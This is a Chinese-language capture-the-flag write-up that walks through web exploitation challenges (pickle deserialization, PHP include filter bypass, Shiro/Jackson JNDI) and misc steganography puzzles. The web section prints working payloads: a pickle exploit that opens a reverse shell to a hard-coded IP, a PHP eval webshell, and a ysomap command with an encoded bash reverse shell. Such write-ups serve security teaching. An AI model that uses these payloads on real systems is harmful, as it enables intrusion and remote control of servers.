Web

zerocalc

题目给出源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require("express");
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(cookieSession({
name: 'session',
keys: [Math.random().toString(16)],
}));

//flag in root directory but name is randomized

const utils = {
async md5(s) {
return new Promise((resolve, reject) => {
resolve(crypto.createHash("md5").update(s).digest("hex"));
});
},
async readFile(n) {
return new Promise((resolve, reject) => {
fs.readFile(n, (err, data) => {
if (err) {
reject(err);
} else {
resolve(data);
}
});
});
},
}

const template = fs.readFileSync("./static/index.html").toString();

function render(s) {
return template.replace("{{res}}", s.join('<br>'));
}

app.use("/", async (req, res) => {
const e = req.body.e;
const his = req.session.his || [];
if (e) {
try {

const ret = (await notevil(e, utils)).toString();
his.unshift(`${e} = ${ret}`);
if (his.length > 10) {
his.pop();
}
} catch (error) {
console.log(error);
his.add(`${e} = wrong?`);
}
req.session.his = his;
}

res.send(render(his));
});

app.use((err, res) => {
console.log(err);
res.redirect('/');
});

app.listen(process.env.PORT || 8888);

先试试 readFile('/flag'),发现直接得到flag了。

ezPickle

题目给出源码,主要看 app.py。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)

很明显的 pickle 反序列化,而且限定了 module in [‘config’] 和 ‘__’,然后看 config.py。

1
2
3
4
5
6
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

需要 notadmin 中的 admin 参数为 yes 才能执行 eval。

那么先是全局变量覆盖,利用 c 和 s 操作码。

1
2
3
4
5
6
data = b"""cconfig
notadmin
S"admin"
S"yes"
s0
"""

解释一下,先是利用 c 操作码导入 config 中的 notadmin,然后利用 s 操作码覆盖 notadmin 为 {‘admin’: ‘yes’},即可成功绕过 if 。

然后就是调用 config 中的 backdoor 函数去执行 eval。

1
2
3
4
5
6
7
8
9
data = b"""cconfig
notadmin
S"admin"
S"yes"
s0(S"__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/116.62.243.231/1500 0>&1'>x && bash x && rm -rf x\",shell=True)"
iconfig
backdoor
.
"""

这里利用 i 操作码。

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)。

直接调用并执行 backdoor 函数,弹 shell 拿到 flag。

最后贴上 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import pickletools

data = b"""cconfig
notadmin
S"admin"
S"yes"
s0(S"__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/116.62.243.231/1500 0>&1'>x && bash x && rm -rf x\",shell=True)"
iconfig
backdoor
.
"""

# pickletools.dis(data)
print(base64.b64encode(data))

new_hospital

扫出来存在 old 目录,在 old 目录下的 feature.php 文件中存在被base64 编码过的 API cookie 参数,随便输一下发现存在 file_get_contents,读取文件 feature.php

1
2
3
4
5
<?php
if($_COOKIE['API']!=""){
echo file_get_contents(base64_decode($_COOKIE['API']));
}
?>

找一找 flag 发现在 /var/www/html/flag.php。

EasyFilter

题目给出源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

很明显是 使用 action 参数写入文件和读取文件。

先写一个 phpinfo

?action=w&c=%3C%3Fphp%20phpinfo()%3B%3F%3E

经过fuzz后发现可以利用 @ 截断之前的 php://filter/resource=./files/,使之前的过滤器判断为文件目录。

?action=r&r=convert.base64-decode/resource@/../../../files/1c1d4f0ae3

成功得到 phpinfo

那就可以写马了,直接写一个 POST 的马。

1
?action=w&c=<?php eval($_POST[cmd]);?>

拿到flag

Give_me_your_0day

Typecho 的 mysql 数据库创建,数据库地址和端口可控,发现可抓包更改数据库的适配器,更改为mysqli ,然后使用 roguemysql.php 脚本执行任意文件读取即可读取flag。

回显。

得到flag

Jack-Shiro

扫目录,得到/json。

然后抓包,发现重定向到/login。

查到CVE-2020-1957,可以绕过权限。

image-20211025002814242

jackson反序列化JNDI注入,然后利用LDAP返回序列化数据触发本地Gadget Bypass限制。

使用工具ysomap,将服务器作为跳板。

1
2
3
4
5
6
7
use exploit LDAPLocalChainListener
set lport port
use payload CommonsCollections8
use bullet TransformerBullet
set version 3
args 'bash -c {echo,YmFzaCAtaSA+JiBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'
run

发包执行。

成功弹shell,拿取flag:

Misc

WeirdPhoto

010打开图片发现报错。

crc 脚本爆破下宽高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import struct
import sys

file = input("图片地址:")
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])

n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
sys.exit()

得到图片。

猜测是个密码,找了半天发现只有千千秀字的栅栏密码能得到明文。

THISISTHEANSWERTOOBSFUCATION

使用密码解出 out 文件,010看了看发现是 pdf 文件,且缺少文件头,补全文件头,得到完整的 PDF 文件。

使用 Wbsteg4.3open 空密码解密得到 flag。

mirror

打开图片发现存在 CRC 错误。

脚本修复得到原图。

image-20211024215312657

010 打开图片后在文件尾发现了另一个 IEND,猜测存在另一个图片。

提取出来后写个脚本倒转。

1
2
3
4
file = open("source", "rb").read()
data = [file[i:i + 16] for i in range(0, len(file), 16)]
data.reverse()
open("result.png", "wb").write(b"".join(data))

010打开图片后发现还是有 CRC 错误,修复得到原图,发现是两张一样的图片。

猜测是盲水印隐写,利用脚本解出图片。

仔细看发现有一串翻转后的数字,翻转后取出数字。

1
32effq8aa8374a02a9p1636ae8901qa0

根据题目提示写个脚本替换字符。

2-5 e-6 9-a p-b q-d

1
print("32effq8aa8374a02a9p1636ae8901qa0".translate(str.maketrans("2e9pq56abd", "56abd2e9pq")))

最终得到flag

bar

将题目给出的 GIF 图片使用 Gifsplitter 分离,很明显的 白色和黑色图片,中间夹杂着一些灰色图片,以灰色图片为分割点,将 黑白图片 转换为 01 二进制,然后发现可以摩斯密码解密。

得到提示 CODE93,查找得知是一种条码规范,那剩下的 黑白 图片应该是一个条码图片,写脚本转换为 01 字符,然后对照 CODE93码表,得出字符串。

转换字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image

path = "./result/"
mark1 = Image.open(path + "IMG00027.bmp").getpixel((0, 0))
m1 = mark1
mark0 = Image.open(path + "IMG00028.bmp").getpixel((0, 0))
m0 = mark0

data = ""

for i in range(27, 334):
tmp = Image.open(path + f"IMG{i:05d}.bmp").getpixel((0, 0))
if tmp == m1:
data += "1"
elif tmp == m0:
data += "0"

print(data)

由于 CODE93 存在校验码,且出题人用 0 将校验码填充了,将校验码部分删去,得到字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
directory = {"100010100": "0", "101001000": "1", "101000100": "2", "101000010": "3", "100101000": "4", "100100100": "5", "100100010": "6",
"101010000": "7", "100010010": "8", "100001010": "9",
"110101000": "A", "110100100": "B", "110100010": "C", "110010100": "D", "110010010": "E", "110001010": "F", "101101000": "G",
"101100100": "H", "101100010": "I", "100110100": "J", "100011010": "K", "101011000": "L", "101001100": "M", "101000110": "N",
"100101100": "O", "100010110": "P", "110110100": "Q", "110110010": "R", "110101100": "S", "110100110": "T", "110010110": "U",
"110011010": "V", "101101100": "W", "101100110": "X", "100110110": "Y", "100111010": "Z", "100101110": "-", "111010100": ".",
"111010010": "SPACE", "111001010": "$", "101101110": "/", "101110110": "+", "110101110": "%", "100100110": "($)", "111011010": "(%)",
"111010110": "(/)", "100110010": "(+)", "101011110": "* Start/Stop"}

result = ""
data = "101011110110001010100010100110100010100100010101000100110010100110100100100001010101010000101000010100100010100010010100101000110010100110100100110010100110101000100010010100001010100100010110001010100001010110100010100100100110001010100100010110010100100001010100100010101000100"

for i in range(0, len(data) - 1, 9):
result += directory[data[i: i + 9]]
print(result)

字符串

* Start/StopF0C62DB973684DBDA896F9C5F6D962

拿去 条形码网站 重新生成一次条形码,读取后面的校验码。

tips: 经题目提示得知要小写,改为小写生成条形码。

得到校验码。

110010110 101001100

再拿去码表对照得到 um

拼接后为完整 flag

BlueWhale

使用 7-zip 解压文件得到一个流量包和一个压缩文件。

流量包在追踪 tcp 流的时候发现 password

th1sIsThEpassw0rD

010 查看压缩包中的 password.txt 大小为17,且用的是 deflate 算法压缩的,猜测为明文攻击。

将得到的 password 放入文档然后使用 bandizip 进行 deflate 算法压缩,得到的 CRC 与压缩文件的 CRC 相同。

使用 ARCHPR 进行明文,得到密码。

将得到的图片去试试 zsteg,发现可以一把梭得到flag。